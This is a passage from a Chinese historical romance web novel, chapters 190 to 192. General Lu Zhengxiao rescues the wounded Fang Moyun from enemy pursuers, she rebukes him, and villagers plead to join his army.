随即，一阵密集的箭雨如黑云般从天而降，带着森然的杀意，铺天盖地地朝他们袭来。正啸迅速低下身子，将茉云紧紧护在怀中，用自己的身躯挡住她。箭矢破空而至，飞驰在他耳旁，擦过他的肩膀……
可他没有一丝迟疑，紧握缰绳策马飞驰，任凭箭雨纷飞，此刻他必须带她走。
茉云意识模糊的靠在他的胸前，只能感受到他宽厚的胸膛传来的温暖与坚定。
撤退去边城的村民走的是山路，他们居高临下看向旷野，看见有个威武的男子用他的身躯为方茉云挡住了所有的危险，带着她在荒野中纵马疾驰，不顾一切地守护着她的安危，都愣在原地，除了惊诧，他们什么都爱莫能助。
这个时候正啸的马要穿过前面的山谷了，山谷之中曲径多折，他不得不放慢了速度，此时峑戎的杀手如穷追不舍，兵刃在阳光闪烁着杀气。
领头的幽戎冷冷地注视着眼前的马，嘴角扬起一抹冷厉的笑，显然势在必得。他高高举起手中的刀，眼中满是必胜的杀意。峑戎的箭手纷纷拉满了弓，准备一举冲入谷中，将他们一生的仇敌歼灭于此。
就在这一刹那，忽然，地面开始微微震动，紧接着如同雷鸣般的轰响声传来，震得整个山谷回响不止。
幽戎的属下都不禁一愣，抬头望向山谷，只见尘土飞扬，大军如排山倒海般涌现，战旗在风中猎猎作响，铠甲在阳光下闪烁寒光。
大军从山谷两侧山头倾泻而下，迅速在山谷集结，整齐划一的阵列待站，箭手也拉满了弓蓄势待发。沧海和鹿里带着卢家军而来，以不可抵挡的气势卷席整个山谷。
幽戎瞬间失去了方才的狞笑，取而代之的是一抹凝重的狠戾。这突如其来的援军阻断了他们追击的计划，他抬手示意峑戎全军停止行进，所有人都屏息等待，仿佛下一瞬，便是刀剑相向的生死一战。
阔超他们远远看见了举着卢家军军旗雄壮之师赶到，顿时喜悦难以抑制的喊道：“是卢正啸的卢家军，得救了！”
众人都眺望而去，战局顷刻逆转，卢家军浩浩荡荡而来，战旗猎猎，刀枪如林，每一名士兵都昂首挺胸，威风凛凛。
山谷外，幽戎的军队显然被震慑，山谷之地易守难攻，恐有埋伏，贸然入谷可能会尸骨无存。
正啸骑马飞驰而过，下令道：“众将士听令，不得让敌军往前半步！”
“是！”
将士瞬间将拉开了架势，顿时刀光剑影，弓弩拉满，在山谷形成一道不可逾越的壁垒。
正啸冷峻的目光看了沧海一眼，示意他穷寇莫追，沧海点了一下头，正啸便一刻未停的带着茉云，头也不回地往边城驰骋而去，将整个山谷的危险与喧嚣远远抛在身后。
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进城之后，他带着茉云直接来到了边城曲家，曲家老爷曲逸快步迎了出来，看着人事不省的茉云便愣住了。
“曲叔，帮我请个大夫！”正啸抱着茉云跳下马说道。
“赶快进去！来人，去将城里的刘大夫马上叫来！”曲逸顷刻喊道。
曲逸马上唤来了夫人给茉云擦干身子，换了一身衣裳，给她盖上被子，正啸走进房间直接给茉云的肩上的箭伤洒着金创药，曲夫人愣了半刻望向正啸，曲逸示意她夫人先在旁等待。
正啸伸手握着茉云的脉，还好脉像还算正常，他望向茉云轻轻的松了口气。
此时，曲家请来了城中德高望重的李大夫。李大夫为茉云诊脉，片刻后放下手，抚须之间叹息的说道：“方大人身子虽无大碍，但耗损气力过度，阴寒之气入骨，还有外伤，今日我先开几服药，让她先静养几日。”
听到这话，正啸深吸一口气，目光温柔而关切地看着她，当年在中州初见她之时，她中气十足的样子……
此时众人才陆陆续续的回到了城里，沧海和鹿里也带兵回了关内，来到了曲家给正啸汇报，最终幽戎带兵离开了，因为地处南境边境，峑戎肯定怕他们有更多的大军埋伏在旁。
翌日若辰和执礼亦赶到了边城曲家，马上和正啸在曲悠书房商议此事，神色间带着几分急切与隐忧。众人彼此对视，都没有开口，心中其实都担心着山雨欲来……
终于执礼眉头微皱，带着试探的语气说道：“少主，所幸茉云无事，可此次您为救人私自调动兵马，朝廷那边如何解释……还需早做打算。”
若辰闻言轻轻点头，显然此事甚为棘手，皇上的旨意未到，正啸却私自调兵，跨山越海的出关，虽是御敌，可是朝中不知会如何揣测……
正啸静静地坐在椅中，身姿不再如往日般挺拔，显出几分难得一见的疲惫。他靠在椅背上，眉宇间掠过一丝难以掩饰的倦意。沉默片刻后，他缓缓说道：“容我考虑一二。”
众人不再多言，目光复杂地望着他，皆知此事并不简单。
而此时忽然，万莫雀跃着蹦进书房，满脸喜色，声音透着抑制不住的兴奋：“少主，茉云醒了！”
千山无语的瞪向万莫，可是万莫话音刚落，正啸便站起了身，朝女茉云房间走去。
众人也纷纷跟随在他身后，走向茉云房中去探望。
若辰抬目静静地望向正啸，目光中渐渐浮现出一丝复杂的情绪，他看向正啸眼中难以掩饰的温柔，脚下如此急切的步伐，仿佛世间万物在此刻都被他抛之脑后……
谁又看不出正啸心中所想？他根本无法掩饰这份在意，哪怕用尽全力将这至深的情感克制潜藏，但她却无时不在。
可若辰的眼中又闪过一丝隐忧，若她成了他在世上最在意的存在，那她便是正啸此生最大的软肋与威胁。可朝廷只需要一个战无不胜，壮志凌云的大将军。
而此刻，若茉云遇险，他会不顾一切地去救她，顷刻失去冷静的自制。若要拿捏正啸，只需裹挟茉云以威胁，虽不可能动摇他的忠诚，但足以牵动他的心神……
那位高坐在朝堂之上的人，一旦洞悉了这一切，若认为茉云的存在已成了正啸的软肋，甚至威胁到他的无畏和理智。那这份朝堂之外的牵绊，对皇权而言……又岂会容忍？
190.熟悉
众人走进茉云的房中，瞧见屋内沧海和鹿里、云鹤等人已然在屋，正在探望茉云。
茉云素来和沧海交情好，她眉头微蹙，脸上带着几分委屈的神情，嘴角微微撅起：“沧海哥，我真是流年不利，特别倒霉。”
她眼神里难得的带着几分孩子气，沧海则无奈地看着她被逗笑了，无言地叹了口气，带着一种亲兄长般的口吻摇头道：“你这丫头，着实折腾。”
正啸跨入房门，望见茉云眼神顷刻柔和下来，她总算醒了过来。
茉云听见门口脚步声抬眼一看，竟是正啸。刹那间，她脸色一沉，眼中怒火腾腾燃起，二话不说，操起刚喝完的药碗，狠狠地朝他砸了过去。
药碗在空中划出一道弧线，直直向正啸飞去，可他轻易闪身便躲了过去。
在一旁的云鹤不满的说道：“诶，要不是我路上撞见师兄，带他来救你，你就沉河里了！”
“原来是你这家伙找他来的！”
“咋了……”
“老子宁愿沉湖！都不想看见这个小人！”她咬牙切齿的说道，语气中带着满满的埋怨与不满。
众人都吃惊地看向茉云，他居然用小人二字形容卢正啸。
“卢正啸！昔日皇上问我是不是对你有想法！老子怎么说的，我说你如此优秀，我配不上！我可曾照实说你这人，冥顽不灵，沽名钓誉，命硬克妻，一言不合就动手打人？”茉云迸射出怒意的吼道，“到了你这儿，你怎么说我的！”
众人都望向茉云，沧海鹿里他们亦都听说了此事……
“你还当着皇上面，说我是个泼妇，会让你家宅不宁！说我出生不好，行为粗鲁，不知书不达理，不配为人母！”茉云指着正啸愤然吼道，忿然又将枕头砸了过去，越想越气愤的说道，“老子不知书吗？卢正啸，那什么来着，相鼠有齿，人而无止。人而无止，不死何俟。”
众人顷刻间哄堂大笑，正啸居然嘴角扬起一丝无语的笑意，任凭枕头砸在身上也没有动。若辰亦粲然而笑，之前还想这拒婚的难堪他两要如何化解，果然凡事到茉云这儿，她都是信手拈来。
“你还好意思笑！”茉云继续找着周遭可以砸的东西，可是肩膀上的伤拉扯便疼了起来，她只能不甘心的吼道，“你给我滚！你个小人！”
正啸见她中气十足的样子，微微松了一口气，这几日赶来紧绷的神色在终于缓解了些，他静静地转身离开房间，茉云余光亦瞧见了，他步履虽依旧沉稳，却带着一丝疲惫。
回到自己的房中，他坐在案旁，虽松了一口气，可眼眸中依旧透出一丝凝重。
众人议事到了夜里，窗外夜色已深，他却毫无睡意，手握毛笔却无从下笔，大战在即，朝堂上局势复杂。
他眉头微蹙，如将这一切解释为边疆事急，但朝堂之上权谋之争心思叵测，稍有不慎，便会引来更多猜忌与质疑。他将笔放回笔架，若辰望向他……
“关若辰！”忽然门外传来茉云清的声音：“关大人，你在哪？”
若辰闻声露出一丝淡淡的笑意，朗声道：“进来吧。”
话音落后，良久之后门才被推开，茉云虚弱的站在门口，神情中显而易见的透出一抹不情愿，压根不看正啸，直直望向若辰。
她眉头微蹙，语气中带着些许生硬的说道：“巡抚大人，我有事请教！”
若辰见她这般客套，心中不禁一笑，温和地说道：“何事但说无妨！”
“那吉祥村的村民，巡抚大人，可否为他们在南境寻得一处谋生之地！”
若辰望向茉云这皮笑肉不笑的神情乐了，语气带着几分调侃：“我等可从未开罪于你，何以如此迁怒于我们？”
茉云闻言，眉头微挑，不悦的眼神白了他们一眼，冷冷说道：“问你什么，答便是！”
若辰语气温和而带着几分安抚地说：“你不必忧心。正啸让大军接他们进城之时，与边城的刺史和曲老爷商议过了，已为吉祥村的村民寻到了一处安置之地——就在边城新开垦的土地上，那里土壤肥沃，水源充足，他们可安居乐业。”
茉云眼神微微一动，眉间的忧虑缓缓散去，虽然面上依旧冷淡。
“我也会上报朝廷，为吉祥村的村民入籍，确保他们能如边城百姓一样在此安生，放心吧，倒是你伤得如此重，快些回房歇息。”
茉云听完随即便冷哼一声，毫无表情地转身离去，背影都透出几分明显的倔强与不满。
若辰目送她离去，随后目光转向案前一脸冷淡的正啸，忍不住调侃道：“你要不要哄一下？这火气可不小啊。”
正啸目光看着公文，神色冷峻，根本没有回应之意。
执礼见状，不以为意微微一笑，摇头叹道：“哎，这火未消，等下人又跑了，不知去哪闯祸，到时候少主您可又要满天下去寻她。”
正啸头都没有抬，冷静而没好气地说：“你们都可以下去休息了。”
若辰他们不禁乐了，带着一丝揶揄和笑意，退身离开了房间。
正啸此时才抬头往茉云房间的望去……
“哄方茉云？您也要少主会啊！”执礼走出门却望向若辰说道，众人更是忍俊不禁。
夜深人静之时，茉云倚靠在床头，抬头望向窗棂缝隙外的星空，深邃而寂静，星辰如银砂般洒满夜幕。她凝视着这片苍穹，思绪渐渐飘远，不禁暗自思忖，幽戎那家伙当真是疯了吗？带着大军深入南境边境，只为奚落自己一番？还是别有深意图谋？
可慢慢回忆却突然转向了那冰冷的深潭，她不禁望向自己的手，好似还能感受到当时那双手的温暖而有力，稳稳地将自己拉回，仿佛一道光穿透了寒冷的黑暗……
不由得茉云轻轻瘪嘴，回想起他在水中抱紧自己的瞬间，那一刻心跳比自己先认出了他。她抱紧被子，将下巴埋在柔软的棉被里，眼中闪过一丝难以掩饰的柔情与红晕，似乎有些不愿承认，心在深处的跳动真实存在着，悄然间打破了她的坚硬！
窗外星光依旧，她轻吸一口气，不知为何，只要知道他和自己在同一个院子里，心中都会渐渐生出一丝安稳……
而此刻正啸依旧坐在案前，烛火微微跳动，他手中握着笔，目光落在摊开的奏折上，眉头微蹙，斟酌着如何措辞，将自己此次调兵救人之事向朝廷呈报。
然而，他的思绪却一次次地被牵引偏离，不自觉地飘向了另一个方向。
脑海中浮现出她倔强的神情，和她倔强外表下那一抹难得的脆弱。他记得自己将她紧紧护在怀中的那一刻，记得她那微弱的喘息，此时心中的悸动仿若波涛汹涌。
他不禁握紧了手中的笔，眼中浮现一丝隐忍与克制，在拼命压抑心底深处的渴望。
而此刻幽戎坐在旷野的篝火旁，火光映照着他冷酷刚毅的面庞，依旧透出了狂野不羁的气息。他举起酒坛，大口灌下烈酒，烈酒顺着喉咙滚入腹中，带来一股猛烈的灼烧感，却浇灭不了他心里的炙焰。
他忽然露出一丝冷冽的笑意，眼神中只剩狠戾的自言自语道：“好，卢正啸，我终于知道要如何亡你了！”
他的话音暗藏着恨意，火光在他眼中映出一抹嗜血的光芒。旷野的风在耳边呼啸，伴随着他冰冷而决绝的仇恨和苦楚。
夜色更显得肃杀而寒冷，仿佛天地之间只剩冰冷，等待着一场腥风血雨的来临。
翌日清晨，正啸整理完公文，便出院吩咐沧海，执礼等人准备安排尽快回南营。
此时曲悠迎了叶凌他们来了，他们随着正啸刚走进院门，发现院中早已热闹非凡——吉祥村的村民们正成群的往茉云房间走，一个个神采飞扬，兴致勃勃。
执礼望了过去，心中浮现一丝意外，原以为这些历经劫难的村民会心有余悸，然而他们脸上丝毫没有劫后余生的沉重，反倒是兴高采烈。
“哎呀，这人家可真是豪气，看看这雕梁画栋，那下人的屋子都比咱村长的强！”一位村民双手抱胸张望着曲家富丽堂皇的装饰，眼中满是好奇与赞叹。
“听说边城里还有集市呢，比咱村还大，等下看完了丫头，咱去逛逛！”另一位村民兴奋地小声议论。
茉云靠在床头，微微一叹，无奈地看向他们有些哭笑不得，但心中不免愧疚，毕竟是自己让他们无家可归了！
“丫头，你没事吧！”村长夫妇都望向茉云关切的问道。
“老村长，真是不好意思，牵连了你们！”茉云一脸憔悴的坐起一点说道。
“没事！”
茉云看向老村长露出了一丝温和的笑意，关切地问道：“边城的安置之地你们可还满意？离了故土，生活上会不会有什么不便？若是有需要，尽管告诉我，我会尽力帮忙。”
老村长立刻憨厚地笑了起来，连连摆手道：“哎呀，你多虑了！这地好的一塌糊涂，土地肥沃得很，还有河，比咱那儿好得多，咱好日子来了。”
村长夫人也笑着说道：“是啊，开始心里还有点不踏实，可是大将军和巡抚大人都待我们跟亲人一样，曲家老爷也派人来问候送了好多东西，刚来了边城，就有了家的感觉。”
茉云闻言心中微微松了口气，脸上也浮现出欣慰的笑意，她知道若辰他们肯定会善待他们：“那我便放心了，老村长，若日后还有什么需要，尽管找我。”
老村长还未说完，村民一拥而上，特别是年轻一辈的直接对床边地上一坐！
“云姐，这是您说的，有什么需要
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尽管找您，我们可真有事儿找您帮忙呢！”
茉云不禁露出几分无奈的神情，警觉的望向他们，眼前这些人，十几年过去了，竟还是和她小时候记忆中的那副模样，笑容中带着几分顽皮与狡黠，毫不见外地跟人嬉皮笑脸。
她摇了摇头无语地看着他们：“你们啊……说吧，什么事？”
村民们见她答应，个个喜笑颜开，好似要争先恐后地把请求抛出来，像是回到了他们熟悉的那段时光。
“云姐，那地虽好，但咱是不是要奔个更好的前途！”
“对对，云姐，你说这人活一世，种田多没意思！”
“咱就不能干点踏破云霄，惊天动地的大事！”
“比方说！”茉云怔了半刻望向他们说道。
“我不知该如何说，但是我这几日瞧见这世间有男子如此威武霸气，我就觉得浅水岂能困我蛟龙之志，我不能这么活！我要跟他们一样活！”
“他们？指谁啊！”
“就是那个来抓你的，还有那个来救你的啊！”
茉云顷刻间被逗笑了望向王阳说道：“有志气！但是王阳，咱这基础……差得有点远不？”
执礼他们站在门口看着，顷刻亦被逗笑了，王阳身边的村中小伙更是哄堂大笑。
“云姐，你这么说不对，你跟我们差不多，你调戏他们之时，你有想过自己基础差吗？”
“你哪个眼睛看见我调戏他们了！”茉云顷刻瞪像王伟骂道，曲悠他们不禁抬目看像茉云，要是昔日在边城寻常人看见她这个眼神，定是吓得腿软想跑，而这群村里的小子丝毫不畏惧。
“云姐，你就说那日来抓你的之人，有没有跟你不清不楚！”
“他是峑戎大将军，老子是南境的，我要是跟他不清不楚，早就被斩了！”茉云没好气的吼道。
王阳顿时捂住了嘴巴，看向四周众人说道：“哦！我懂，我们以后也是南境的了，这话以后不能当着人面说出来！”
众人心领神会的点点头，茉云深吸一口捂着头。若辰站在门口看着倒是乐了，很少有人能让茉云有这番神情！
“那另外一个呢！他们说那救你的人是大将军！”王阳顿时又神采飞扬的，激动地挥舞着手臂，带着几分夸张地神情：“哎呀，那情形可真是惊心动魄！他一手抱着你，另一只手策马飞奔，简直如天神降世一般！”
茉云怔了半刻望向王阳，若辰和执礼互相看了一眼笑了，望向茉云！
“敌人的箭雨乌泱泱地从四面八方袭来，遮天蔽日啊！可大将军丝毫不畏惧，他的披风在风中飞舞，人却稳如泰山，风驰电掣带着你杀出一条生路！”
茉云顷刻躲开了眼神说道：“我伤重晕了过去，不知道！”
“云姐，你就说你跟那大将军什么关系？”王阳丝毫没有转圜的笔直问道。
“没有关系！”
“云姐，你装什么装！你这就不实在了啊！”王阳满脸揶揄的说道。
顿时众人忍俊不禁，茉云无语的瞪向王阳，可是自己将他们村都烧了，自己拿他没半点办法，只能忍！
“王阳，你没事下去吃点水果，然后回家盖房去！”茉云只得深吸一口气温和的说道。
“我不回去，我们要去跟那个大将军混！”王阳直白的说道。
“你知道那大将军是干什么的吗？”
“打战的啊！”
“打战你们能干嘛？”
“那云姐，你能干嘛？”
“我刀枪剑戟都能来啊，你呢？你一个男子，在家村长夫妇溺爱得……你能拿起锄头我都算你本事，像个大姑娘似的，终日只晓得长舌！你从什么军！”茉云忍无可忍的骂道。
“诶，你一个女子，刀枪剑戟算什么本事！你若能跟那大将军生个娃我算你本事！”王阳大手一挥指着外面说道。
“我！”茉云顿时气炸了，弹了起来到处找着剑吼道，“诶，老子的剑呢！”
顿时众人再也隐忍不住，哄堂大笑，连若辰他们亦笑得前仰后伏，村长夫妇也没有半分怪罪，一脸宠爱的看向王阳。此时万莫端着药进来，看见房中如此热闹。
“我不管，我要去跟那个大将军混，你帮我想想办法留下来！”
“老子都没留下来，不知道被赶好多次！”茉云瞬间推开万莫手中的药，朝着王阳愤怒的吼道，“你给我滚！”
“骗谁呢？他抱你抱得可紧了！大家都看见了！”王阳指着旁人说道，众人纷纷的点头，一脸傻笑而期待的望向茉云！
茉云气得手都在颤抖：“哎呀，谁来救救我，我怎的又碰见你们了！”
话音刚落，正啸端着药碗，一脸冷峻的走了进来……
191.唯独
房间里气氛正激烈，王阳他们围绕着茉云，为参军之事争论不休。
就在这时，正啸端着冒着热气的一碗药，神色冷静的径直走到了茉云面前，众人不自觉的噤声，纷纷往后退了一步望向正啸，好似被他威猛的气息所撼动。
他一言不发目光沉稳如山的将药碗递向茉云，眼神中透出一种不容拒绝的决然。
茉云看到药微微一怔，尚未开口，正啸便斩钉截铁的说道：“喝了。”
茉云微微皱眉，眼中闪过一丝忿然和无奈，可若不照办，他肯定不会善罢甘休，等下当着众人面将药灌下去，颜面何存。
见茉云未动，正啸上前了一步，茉云马上接过药碗，忍不住抿嘴轻叹一声，仰头一口将苦涩的药饮尽。
正啸眼中闪过一丝淡淡的温柔，但是转瞬即逝，他接过她递回的空碗，转身离去，仿佛一切理所应当般，并未多言。
王阳他们一脸崇拜的望向正啸的背影，茉云则忿然瞪着，然后转头朝万莫骂道：“你把他招来干嘛？”
“我哥找的少主！”万莫无奈的说道。
“你哥找他来干嘛？”
“我哥跟少主说你不喝药，还让我滚！”万莫直接的挠挠头无语的说道。
千山跟着正啸走出去，听见万莫之言，回头狠狠瞪了万莫一眼。
“千山你给我记住了，别等我伤好了的时候，再撞见我！”茉云顷刻抬手指着千山骂道。
千山瞬间一溜烟的跑了，快步跟着正啸走了，执礼和众人都忍着笑，千山自小跟着正啸，沉默少语但性子孤傲，除了卢家人，他怕是就只敬畏方茉云了！
房中的村民相视一眼，不约而同地的目光都望向正啸背影，暗自带着几分期待与好奇地揣测着茉云和正啸的关系。
“娃啊！他就是？”老村长夫人都指着正啸的背影看向茉云说道。
“没有呢，没有！”茉云无语的旋即解释道，“顶多算我师兄！”
“咋不上呢？”其余村民都饶有兴致的指着评价道，“老厉害了！”
茉云心想跟他们压根解释不清楚，只能深呼吸转个话题，她马上装作一副语重心长的表情看向王阳说：“说正事啊！你听我说，军中打仗，远没有你们想的那般光鲜。战场上，刀光、箭雨、血腥，危险时刻存在。每一场胜利，都是无数将士的血与命换来的。”
她的目光缓缓扫过村长夫妇的脸，知道这些孩子都是村里的宝贝。
“问问你们爹娘，慎重考虑，战争不是儿戏，将士都要做好牺牲的准备。吉祥村素来甚为看重子嗣，我不愿你等，因一时冲动去干这些冒险的事。”
“哎呀，云姐你什么时候这么啰嗦了！”王阳鼓足了勇气冲了出来，快步追到正啸身旁，一把拉住了他的手臂，随后猛地跪在地上，双手握拳，神情中满是恳切，其余人也马上追了出去跪了下来。
正啸微微皱眉眼中闪过一丝意外，立刻俯身伸手要将他们扶起。
王阳却不肯起身，目光坚定地看着正啸，声音带着一丝颤抖却无比坚定：“大将军，我们……我们也想从军！我们不想再做农夫，觉得大好男儿应该建功立业！”
正啸沉默片刻注视着他们，并没有立刻答应。
王强跪在正啸面前，眼中闪烁着坚毅的光芒，他深吸一口气说道：“大将军，我们自幼听长辈们说，村里祖辈本是朝廷南境人。后来战乱不断，才被迫移居到深山林间。那年老元帅收复南境之后，由于我们村地处偏远，当时的边城刺史说难以镇守，所以并未将我们纳入边城疆域，自此，我们成了无国之民。”
他说到这里，目光微微低垂，村民也都沉默了，眼中透出一丝苦涩。
“没有朝廷之庇护，我们这些年常常被关外的各路蛮人欺凌。村民虽也不愿结怨，可是……男儿本该立于天地之间，有所作为！”王强逐渐坚定起来，终于敢抬头直视正啸。
正啸亦抬目望向他，沧海和鹿里也互相看了一眼，眼中露出一丝赞赏。
“而且如今，那些关外蛮横之人如此肆无忌惮，轻而易举便想要夺去我们全村的命。我虽愚钝，尚不知忠义为何，但我明白邪不胜正！只要还有一个机会，我等都愿意为这正义二字，献出我等的一份微薄之力。求大将军允准！”
正啸望向他，眼中逐渐露出一丝赞赏，片刻后，他问道：“从军乃大事，生死攸关，可曾问过家中父母的意见？”
王阳微微一怔，抬头对上正啸的目光，好像看到了希望：“大将军，我知道这事儿大，但我爹娘可疼我了，我做啥事他们定然都会支持。”
正啸目光不自觉地抬起，望向院落中默默注视着这一切的老村长和一众村民。只见他们脸上带着慈祥的微笑，眼神中满是赞赏与欣喜，每个人都微微点头，显然支持这些年轻人的选择。
老村长也上前一步，恭敬地对正啸慈祥的笑了说道：“大将军，孩子们做什么选择，只要是他们真心喜欢，能让他们开心，我们都支持。”
正啸闻言，心中微微一怔，眼角不自觉的露出一丝震撼，一直以来，他身负家国重任，自幼便在深宅高墙之中长大，生活中满是条条框框的束缚，他的每一步都被要求被控制，好似从未有人问过他是否真心喜欢。
此时走出来的茉云，悄然感受到了他心中的震撼，目光中才不□□露出一丝心疼。她知道，这一刻的他，或许触及了心底那份面对长辈从来都是被要求，却从未被体谅的苦楚。
她知道他一生都在尽忠尽孝，却从未拥有真正的自由，或许长辈们是分身乏术，也可能是置若罔闻……开心？这个词从未有长辈在他的身上关心过。
“大将军，我们爹娘更期盼我们能堂堂正正地活着，不再担惊受怕到处受气，现在我们爹娘也成为边城的百姓，我们入军也是守护他们的安宁。”王强抱拳望向正啸继续说道。
村民们静静地看着跪在正啸面前的小伙子们，然后彼此对视，脸上浮现出引以为傲的神情，目光中也满是赞赏，仿佛觉得这些孩儿们终于长大了！
站在前排的一位年长的村民抬头望向茉云，眼中带着几分恳切说道：“茉云，这些孩子都是心诚的，你这一看就是大将军的信赖之人……能不能替他们说几句好话？”
“这？您都看不出来了？”茉云故意夸张的反问道。
执礼他们又伏低头忍着笑，看样子茉云心中的恶气，一时半会儿是消不了的！
“好，你们先起来！”正啸看向他们温和的说道。
“是！”
“好什么好！你领兵打战靠得是豪言壮语呢？”茉云没好气的指着叶凌他们说道，“站在你身边之人，皆是以一敌十之人，都没招他们入军，你要他们几个干嘛？”
曲悠他们站在正啸身旁，互相张望了一眼再看向茉云，似乎都不敢轻举妄动似的，她总是有这般骇人的气势。
王阳他们愤怒的望向茉云说道：“那你为何入军？”
“我没入军！亦不会入军！”茉云顿时目光如炬，扫视了一遍王阳他们这群小子，神情中透着一股刚烈与不容置疑的威严，“你们爹娘让我引荐入军？好，那我问你们，入了军营，你们能做什么？你们上过战场？学过武？军中不养闲人，更不收浪费粮食之人！”
沧海和鹿里都互相看了一眼然后看向茉云……
“说不出来，就跟尔等爹娘回家盖房，学种田！”茉云顷刻间冷冷的说道。
一位小伙子挺直了腰板，目光坚定地说道：“云姐，我们虽然没上过战场，没学过武，但从小在村里干活，体力绝不比别人差。我们愿意从头学起！”
另一位小伙子也站了出来，眼神中透着一丝倔强：“对，我们不怕苦，不怕累，可以从杂役做起，都听从军中安排！哪怕是运送物资、搬运兵器，我们有力气，绝不让军营白白养着我们！”
沧海和鹿里目光中又露出一丝赞许的神色，嘴角微微扬起，被他们的决心打动，这些小子确实是一心想从军，愿意吃苦，但
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这些话显然没有说动茉云，她一脸冷漠的准备转身。
王阳猛然的站起了身说道：“等一下！”
她回头望去，只见王阳双拳紧握，脸上满是不甘与坚定，目光炽热，仿佛一团燃烧的火焰。
他用力地吸了一口气，挺直身子，大声说道：“云姐，您说的军中不养闲人，可我们也不是无用之辈！我等没上过战场，打架也……打不赢，但我们从小在山里长大、关外游荡，精通各种方言，若是要翻山越岭，悄无声息地穿行在关外，听取消息，刺探敌情，我不信军中有谁能比我们更得心应手！”
一旁的村民们听了，也纷纷点头附和，眼中充满了认同与骄傲。
茉云若有所思，看着他们那坚定的神情和炽热的目光，眼神中闪过一丝意外微微笑了：“瞧把你能耐的？没人比你强了是吧？”
“谁啊？你啊！”王阳亦毫不畏惧的说道，“你是比我们强，但是我爹以前就说了，你这人能耐是能耐，但是就是个闯祸精，你一边办事一边捅娄子，捅的那篓子肯定比那事还大！好比那时村里让你带我，去山里抓个兔子，兔子是抓回了村，后面还跟了个野猪来了村！”
众人顿时忍俊不禁，茉云瞪向王阳，老村长对着王阳就是一脚，显然没有人任何力道，但是佯装愤怒的骂道：“你这傻娃，以前的事还提什么提！”
“那野猪你没吃啊！”茉云愤怒的骂道。
“可我也差点被野猪吃了，所以我爹说，可怕的不是野猪，而是你！自古只有那无畏于天地的大英雄才能降得了你这等妖兽，只有那后羿才射得了日！”
老村长忍无可忍的瞪着王阳骂道：“你这傻玩意，说你爹我说的干嘛？你不晓得说村里说啊！”
顿时众人哄堂大笑，若辰他们亦都乐了看向正啸，正啸依然一脸没有表情，但是心中闪过一丝无语，显然这些人着实是了解茉云的。
茉云一脸愤怒的转身没好气的说道：“行，现在说得眉飞色舞，希望尔等不是热血一时！”
她似乎是默许了此事。王阳他们见状纷纷互相看着露出笑容。然而，当茉云转身回房经过若辰身旁忽然停下了脚步，目光一冷，带着一丝锐利，直视他而来。
“关大人，”她冷冷地开口，声音带着些许冷毅。
若辰微微一愣，抬头看向她，对她这番神情有些意外。
茉云不动声色地说：“我听说，前些日子何友拿了我那南华表哥的文章，说是对他格外欣赏？”
众人都看向茉云，她眼神露出了凌冽，语气中透着一股隐忍的寒意。关若辰知晓此事，但当时并没有在意，一时语塞，没有当即回应。
茉云微微冷笑，笑意却不达眼底说道：“巡抚大人，你弟若真想研习文章，难道你的文章还不够他研读？劳烦你让他将我表哥的文章还回去，顺便转告令弟——这关太傅之子便可随意欣赏人的派头还是收敛些，别下次被我撞见了。”
若辰听罢，顷刻明白了她的意思，她是不愿她表哥破格入仕，若辰温润的笑了微微点头说：“你说得是，回去我自当劝诫何友。”
“打铁还须自身硬！”茉云冷哼一声，神情凌厉也转头看了王阳他们一眼，王阳他们伏低头才不自觉的咽了一下，茉云没好气的边走边继续说道：“问问他们，老子从来都是靠自己！”
“对，她掉河里，哗啦啦，自己飘这儿来的！”王阳没好气的小声望向旁边的人不满的嘟囔道。
众人忍俊不禁，正啸亦无语的转身回房了。
沧海望向这群小子赞赏的说道：“这群小子不错！”
鹿里亦小声回复道：“沧海哥说得一点没错，他们是人才，你看，他此话……别说咱了，大将军未必敢说！”
“大将军立于天地间，所向披靡，无畏无惧！”执礼接过他两的话，调侃道“唯独……”
众人更是笑得欢畅，只有若辰远远望向正啸的背影笑了，唯独二字之意，是否是这世间欠他的，派这一人来补偿……
192.羁绊
夜里，在确认茉云无大碍后，正啸便回了营帐跟将士同住，营帐中烛火摇曳，气氛凝重。
执礼派出的探子匆匆进入营帐，抱拳低声禀报：“禀报大将军，峑戎大军已撤。”
正啸微微颔首抬手让他退下，目光深邃陷入了思索之中。
帐内众人彼此互换了一下眼神，心中明白既然战事暂缓，便必须尽快返回南营，以免引起朝堂非议。
最终执礼上前商议的说道：“少主，此地虽已安稳，但为了避免朝中生疑，恐怕我们应尽快启程。”
正啸点头赞同，目光却依旧凝视着远方，心中仍有几分未决之事。
若辰亦看出了正啸的思虑，担忧的说：“茉云去留……你是如何打算的？此处离关外只有一关之隔，而她在关外悬红之高，若留她在边城，难免引来亡命之徒，且她目前尚未痊愈！”
“无论如何，肯定要带她离开。”正啸斩钉截铁的说道，可是将她先安置在哪里才能安全呢？
“少主是不知现在她伤成这般，需要静养，何处对于她来说，是安全的？”
正啸眉头微蹙，天下之大，居然自己一时半会想不到一个可以让茉云静养的地方。
“大将军，我有个地不知道合适否？”沧海坦诚跟抬目瞧向自己的正啸说道，“南恒我老家！贱内此时也在老家，她可以照顾茉云，家里人少也都有点功夫！”
“嫂子还做得一手好菜，茉云定然欢喜！”鹿里顷刻接过话笑着说道。
“这倒也是个好去处，南恒不大，且是沧海将军的家，都是可信赖之人，嫂子亦是武艺超群，还能护着茉云！”执礼望向正啸亦肯定的说道。
正啸微微点了一下头，语气平静却带着不可置疑的威严：“传令下去，明日一早回南关。”
“是！”
若辰则笑了放下茶碗说道：“你安排谁去城中接茉云？”
正啸眼神中掠过一丝无语，然后望向若辰。
若辰故作一脸震惊的说道：“你莫非是要命我或执礼去？茉云伤得再重，打我两是错错有余？”
“我是提醒你，开春之时，跟几地刺史商议好收集军饷，运送军饷之事！”
“自当从命！”若辰温和的笑了说道，“这不比茉云棘手！”
此时鹿里没有一丝的犹豫的起身说道：“大将军，我等出去整军了，待明日开拔！”
沧海晃过神也想告退，正啸却不容分说的说道：“沧海，你明日去将她接了一道走！”
沧海愣了半刻望向正啸，正啸指着营帐外没好气的说道：“你们可以回营休息了！”
“是！”众人看着沧海的表情，都伏低头忍着笑，行礼告退。
众人走后，正啸亦无语的叹了口气。
翌日晌午后，正啸监督整军后，准备待沧海等人归营就出发了，一转身微微一怔——几位武林的好友都在等候他，个个神色坚定。
曲悠率先抱拳行礼，带着一丝豪迈说道：“正啸，听闻边关战事在即，江湖虽小，但我们也愿为国出力！”
